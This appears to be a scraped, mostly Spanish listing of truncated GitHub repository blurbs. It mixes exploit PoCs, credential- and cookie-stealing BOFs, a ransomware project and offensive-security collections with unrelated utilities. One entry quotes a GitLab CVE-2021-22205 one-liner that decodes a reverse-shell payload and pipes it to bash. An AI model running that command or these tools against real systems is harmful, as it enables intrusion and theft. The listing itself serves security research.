CVE-2020-10560-Key-Recovery

CVE-2020-10560 Recuperación de clave AES Este PoC recupera la sitekey para OSSN 5.3 y versiones posteriores. Para más información, consulte http://techanarchy.net/blog/cve-2020-10560-ossn-arbitrary-file-read...

PackMyPayload

PackMyPayload - Amenaza emergente de malware contenerizado Ir a formatos compatibles Esta herramienta toma un archivo o directorio como entrada y los incrusta en un archivo de salida que actúa como un archivo/contenedor. Puede servir como Prueba de Concepto para presentar el riesgo emergente de...

CVE-2024-53677

CVE-2024-53677 - Entorno de reproducción de la vulnerabilidad de ejecución remota de código RCE en Apache Struts 2 Este repositorio proporciona un entorno basado en contenedores para reproducir la vulnerabilidad CVE-2024-53677 en Apache Struts 2. Esta vulnerabilidad implica un path traversal y...

CVE-2017-9798

CVE-2017-9798 Este pequeño script verifica un entorno de hosting compartido para CVE-2017-9798 y sale con un código de retorno 1 si se encuentra un archivo .htaccess vulnerable...

VeeamDumper-BOF

Veeam Dumper BOF Una BOF de extracción de credenciales para Veeam Backup and Replication y Veeam One por Stephen Munro y Logan Kroeger de @MWRCyberSec. La BOF debe ejecutarse en un beacon de administrador en un servidor de Veeam One o Veeam Backup and Replication y es compatible con Cobalt Strike...

Jasmin-Ransomware

!SiddhantgourInstagram-shieldInstagram-url !LinkedInlinkedin-shieldlinkedin-url !SiddhantgourTwitter-shieldTwitter-url !YoutubeYoutube-shieldYoutube-url !TelegramTelegram-shieldTelegram-url !QuoraQuora-shieldQuora-url !FacebookFacebook-shieldFacebook-url Jasmin El Ransomware Una poderosa...

awesome-pentest

Awesome Penetration Testing A collection of awesome penetration testing and offensive cybersecurity resources. Penetration testing is the practice of launching authorized, simulated attacks against computer systems and their physical infrastructure to expose potential security weaknesses and...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC de bash en una línea para RCE preautenticado en GitLab CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

nushell

Nushell Un nuevo tipo de shell. Tabla de contenidos Estado Aprender sobre Nu Instalación Configuración Filosofía Pipelines Abrir archivos Plugins Objetivos Con soporte oficial de Contribuir Licencia Estado Este proyecto ha alcanzado un nivel de calidad de producto mínimamente viable. Muchas...

PenetrationTesting_Notes-

Notas de Pruebas de Penetración Usa cherryTree última versión para abrir PenetrationTestingNotes.ctb puedes usar mi configuración de preferencias para obtener una mejor experiencia...

httpstat

httpstat httpstat visualiza las estadísticas de curl1 de una manera bella y clara. Es un script de Python de un solo archivo🌟 que no tiene dependencias👏 y es compatible con Python 3🍻. Características Hermosa salida de terminal — desglose de tiempos de DNS, TCP, TLS, procesamiento del servidor y...

teams-cookies-bof

teams-cookies-bof Roba cookies de Teams mientras se ejecuta dentro del proceso ms-teams.exe. Publicación relacionada: https://tierzerosecurity.co.nz/2025/11/03/teams-cookies-bof.html Basado en: https://blog.randorisec.fr/ms-teams-access-tokens/. Esta herramienta se basa en gran medida en...

CVE-2024-46278-teedy_1.11_account-takeover

【CVE-2024-46278】teedy1.11account-takeover 【Teedy 1.11】toma de control de cuenta mediante XSS Detalle Existe una vulnerabilidad que provoca XSS al descargar archivos. La vulnerabilidad XSS podría permitir que un administrador de Teedy robe una cuenta con unos pocos clics. Esta vulnerabilidad está...

CVE-2020-12112

CVE-2020-12112 🚨 Las versiones de BigBlueButton inferiores a 2.2.4 tienen una vulnerabilidad LFI que permite el acceso a archivos sensibles. Historia 📜 Durante un curso de aprendizaje a distancia en una instancia de BigBlueButton, un estudiante de mi clase compartió el enlace de la presentación d...

dirtycow-replacer

POR FAVOR TEN EN CUENTA QUE NO ESTOY PROBANDO FORMALMENTE ESTE CÓDIGO SE ESTÁ DISEÑANDO COMO UNA HERRAMIENTA EDUCATIVA ¿Qué hace? android-dirtycow-replacer utiliza el exploit dirtycow de CVE-2016-5195 para parchear una lista de más de 1000 archivos. Puedes editarlo para que sean 10000, pero 1000...

hosts

!IMPORTANT Cloning this repository can take a long time! You probably just want to start with the latest version, not its whole history since 2018. Therefore you probably want to use git clone --depth 1 ... to save significant time. !NOTE With the exception of issues and PRs regarding changes to...

ATutor-Instructor-Backup-Arbitrary-File

ATutor - Exploit de copia de seguridad del instructor Título del exploit: ATutor 2.2.4 'Backup' - Ejecución remota de comandos CVE-2019-12170 Google Dork: inurl:/ATutor/login.php Fecha: 5/13/2019 Autor del exploit: liquidsky Joseph McPeters Página oficial del proveedor: https://atutor.github.io/...

igvm

igvm Este proyecto es el hogar del formato de archivo Independent Guest Virtual Machine IGVM. La especificación del formato se puede encontrar en la caja igvmdefs, con una implementación en Rust del formato binario en la caja igvm. El formato de archivo IGVM está diseñado para encapsular toda la...

hcxtools

hcxtools Un pequeño conjunto de herramientas para convertir paquetes de archivos de captura a archivos hash para su uso con Hashcat o John the Ripper. Estas herramientas son 100% compatibles con Hashcat y John the Ripper y están respaldadas por Hashcat. Breve descripción El propósito principal de...

CVE-2015-6132

CVE-2015-6132 Microsoft Office / Plantación de DLL en objetos COM PoC original: https://www.exploit-db.com/exploits/38968/ Ejecutar poc.rtf con mqrt.dll en el mismo directorio activará la dll, que en este caso pop calc también funcionará crear una DLL de descarga/ejecución Exportar la dll para...